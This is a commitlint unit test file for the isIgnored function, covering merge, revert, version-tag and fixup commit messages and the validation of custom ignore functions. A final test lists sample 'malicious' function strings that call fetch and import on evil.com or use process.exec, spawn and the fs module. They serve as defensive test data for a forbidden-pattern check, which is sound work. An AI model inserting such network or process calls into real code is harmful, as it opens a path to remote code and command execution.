forked from conventional-changelog/commitlint
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathis-ignored.test.ts
270 lines (231 loc) Β· 8.16 KB
/
is-ignored.test.ts
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
import {test, expect} from 'vitest';
import isIgnored from './is-ignored.js';
import {Matcher} from '@commitlint/types';
const VERSION_MESSAGES = [
'0.0.1',
'0.1.0',
'1.0.0',
'0.0.1-alpha',
'0.0.1-some-crazy-tag',
'0.0.1-0',
'0.0.1-999',
'0.0.1-alpha.0',
'0.0.1-alpha.999',
'0.0.1-some-crazy-tag.0',
'0.0.1-some-crazy-tag.999',
'0.0.1-1e69d54',
'v0.0.1',
' v3.0.0',
];
const AMENDMENTS = [
'Signed-off-by: Developer <[email protected]>',
'Change-Id: I895114872a515a269487a683124b63303818e19c',
'Signed-off-by: Developer <[email protected]>\nChange-Id: I895114872a515a269487a683124b63303818e19c',
];
const AMENDED_VERSION_MESSAGES = VERSION_MESSAGES.reduce<string[]>(
(results, message) => {
return [
...results,
...AMENDMENTS.map((amendment) => `${message}\n\n${amendment}`),
];
},
[]
);
test('should return false when called without arguments', () => {
expect(isIgnored()).toBe(false);
});
test('should return false when called with empty string', () => {
expect(isIgnored('')).toBe(false);
});
test('should return false for normal commit', () => {
expect(isIgnored('initial commit')).toBe(false);
});
test('should return true for branch merges', () => {
expect(isIgnored("Merge branch 'iss53'")).toBe(true);
});
test('should return true for branch merges with newline characters', () => {
expect(isIgnored("Merge branch 'ctrom-YarnBuild'\n")).toBe(true);
expect(isIgnored("Merge branch 'ctrom-YarnBuild'\r\n")).toBe(true);
});
test('should return true for branch merges with multiple newline characters', () => {
expect(isIgnored("Merge branch 'ctrom-YarnBuild'\n\n\n")).toBe(true);
expect(isIgnored("Merge branch 'ctrom-YarnBuild'\r\n\r\n\r\n")).toBe(true);
});
test('should return true for merged PRs', () => {
expect(isIgnored('Merge pull request #369')).toBe(true);
});
test('should return true for branch merges with newline characters and more characters after it', () => {
expect(isIgnored("Merge branch 'ctrom-YarnBuild'\n ")).toBe(true);
expect(isIgnored("Merge branch 'ctrom-YarnBuild'\r\n # some comment")).toBe(
true
);
});
test('should return true for tag merges', () => {
expect(isIgnored("Merge tag '1.1.1'")).toBe(true);
expect(isIgnored("Merge tag 'a tag'")).toBe(true);
});
test('should return true for tag merges with newline characters', () => {
expect(isIgnored("Merge tag '1.1.1'\n")).toBe(true);
expect(isIgnored("Merge tag '1.1.1'\r\n")).toBe(true);
});
test('should return true for tag merges with multiple newline characters', () => {
expect(isIgnored("Merge tag '1.1.1'\n\n\n")).toBe(true);
expect(isIgnored("Merge tag '1.1.1'\r\n\r\n\r\n")).toBe(true);
});
test('should return true for tag merges with newline characters and more characters after it', () => {
expect(isIgnored("Merge tag '1.1.1'\n ")).toBe(true);
expect(isIgnored("Merge tag '1.1.1'\r\n # some comment")).toBe(true);
});
test('should return true for revert commits', () => {
expect(
isIgnored(
`Revert "docs: add recipe for linting of all commits in a PR (#36)"\n\nThis reverts commit 1e69d542c16c2a32acfd139e32efa07a45f19111.`
)
).toBe(true);
expect(
isIgnored(
`revert "docs: add recipe for linting of all commits in a PR (#36)"\n\nThis reverts commit 1e69d542c16c2a32acfd139e32efa07a45f19111.`
)
).toBe(true);
});
test('should ignore npm semver commits', () => {
VERSION_MESSAGES.forEach((message) => expect(isIgnored(message)).toBe(true));
});
test('should ignore npm semver commits with chore', () => {
VERSION_MESSAGES.forEach((message) =>
expect(isIgnored(`chore: ${message}`)).toBe(true)
);
VERSION_MESSAGES.forEach((message) =>
expect(isIgnored(`chore(release): ${message}`)).toBe(true)
);
});
test('should ignore npm semver commits with footers', () => {
AMENDED_VERSION_MESSAGES.forEach((message) =>
expect(isIgnored(message)).toBe(true)
);
});
test('should return true amend commits', () => {
expect(isIgnored('amend! initial commit')).toBe(true);
});
test('should return true fixup commits', () => {
expect(isIgnored('fixup! initial commit')).toBe(true);
});
test('should return true squash commits', () => {
expect(isIgnored('squash! initial commit')).toBe(true);
});
test('should return true for bitbucket merge commits', () => {
expect(
isIgnored('Merged in feature/facebook-friends-sync (pull request #8)')
).toBe(true);
expect(
isIgnored('Merged develop into feature/component-form-select-card')
).toBe(true);
expect(isIgnored('Automatic merge')).toBe(true);
});
test('should return true for automatic merge commits', () => {
expect(isIgnored('Auto-merged develop into master')).toBe(true);
expect(isIgnored('Merge remote-tracking branch')).toBe(true);
});
test('should return true for azure devops merge commits', () => {
expect(isIgnored('Merged PR 123: Description here')).toBe(true);
});
test('should return false for commits containing, but not starting, with merge branch', () => {
expect(isIgnored('foo bar Merge branch xxx')).toBe(false);
});
test('should return false for commits containing, but not starting, with merge tag', () => {
expect(isIgnored("foo bar Merge tag '1.1.1'")).toBe(false);
});
test('should return false for ignored message if defaults is false', () => {
expect(
isIgnored('Auto-merged develop into master', {
defaults: false,
})
).toBe(false);
});
test('should return false for ignored message if custom ignores and defaults is false', () => {
expect(
isIgnored('Auto-merged develop into master', {
defaults: false,
})
).toBe(false);
});
test('should throw error if ignores is not an array', () => {
const ignoredString = 'this should be ignored';
expect(() => {
isIgnored(ignoredString, {
ignores: 'throws error',
} as any);
}).toThrow('ignores must be of type array, received ');
});
test('should return true for custom ignores as function', () => {
const ignoredString = 'this should be ignored';
expect(
isIgnored(ignoredString, {
ignores: [(c) => c === ignoredString],
})
).toBe(true);
});
test('should throw error if any element of ignores is not a function', () => {
const ignoredString = 'this should be ignored';
expect(() => {
isIgnored(ignoredString, {
ignores: ['throws error'],
} as any);
}).toThrow('ignores must be array of type function, received items of type:');
});
test('should throw error if custom ignore function returns non-boolean value', () => {
const testCases = [
() => 1, // number
() => 'true', // string
() => undefined, // undefined
() => null, // null
() => ({}), // object
() => [], // array
];
testCases.forEach((testFn) => {
expect(() => {
isIgnored('some commit', {
ignores: [testFn as unknown as Matcher],
});
}).toThrow('Ignore function must return a boolean');
});
});
test('should throw error for custom ignore functions with security risks', () => {
const maliciousPatterns = [
'function() { fetch("https://evil.com"); return true; }',
'function() { import("https://evil.com"); return true; }',
'function() { require("fs"); return true; }',
'function() { process.exec("ls"); return true; }',
'function() { process.spawn("ls"); return true; }',
'function() { process.execFile("ls"); return true; }',
'function() { process.execSync("ls"); return true; }',
'function() { new XMLHttpRequest(); return true; }',
];
maliciousPatterns.forEach((fnString) => {
const fn = new Function(`return ${fnString}`)();
expect(() => {
isIgnored('some commit', {
ignores: [fn],
});
}).toThrow('Ignore function contains forbidden pattern');
});
});
test('should not throw error for custom ignore functions without security risks', () => {
const safePatterns = [
'function(commit) { return commit === "some commit"; }',
'function(commit) { return commit.startsWith("some"); }',
'function(commit) { return commit.includes("some"); }',
'function(commit) { return commit.length < 10 && commit.includes("some"); }',
'function(commit) { return commit.length < 10 || commit.includes("fetch"); }',
'function(commit) { return commit.includes("exec"); }',
'function(commit) { return !process.env.CI && /^wip\b/.test(commit); }',
];
safePatterns.forEach((fnString) => {
const fn = new Function(`return ${fnString}`)();
expect(() => {
isIgnored('some commit', {
ignores: [fn],
});
}).not.toThrow();
});
});